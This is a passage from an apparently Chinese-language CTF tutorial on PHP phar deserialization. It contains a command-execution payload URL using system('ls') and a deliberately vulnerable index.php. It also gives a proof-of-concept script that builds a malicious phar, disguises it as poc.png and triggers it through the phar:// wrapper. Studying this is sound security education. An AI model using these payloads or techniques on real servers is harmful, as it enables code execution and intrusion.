$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
//生成phar文件test.phar
//给output赋值`eval($_GET["a"]);,则a的值可控`
?>'

提交文件名filename,file_exists读取文件
__destructoutput(echo 'ok')值调用并输出

**payload: **

1
?filenmae=phar://test.php&a=system('ls');

Phar使用条件:

  1. phar文件能上传到服务器端;
  2. 要有可用反序列化魔术方法作为跳板;
  3. 要有文件操作函数,如file_exists(), fopen(), file_get_contents()
  4. 文件操作函数参数可控,且:/phar等特殊字符没有被过滤
    phar文件上传不看后缀

phar反序列化例题

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

目标:echo $flag
反序列化TestObject()触发__destruct()执行echo $flag
$_POST提交file赋值$filename,判断文件是否存在并echo md5_file($filename)
解析步骤:
生成一个phar文件,在mate-data里放置一个包含TestObject()的序列化字符串;
上传文件;
md5_file执行phar伪协议,触发反序列化;
反序列化TestObject()触发__destruct执行echo $flag
构造并运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

改名为poc.png
在upload.php页面上传成功后,在index.php页面用post方法提交file=phar://upload/poc.png,执行phar伪协议触发反序列化,反序列化TestObject()触发__destruct执行echo $flag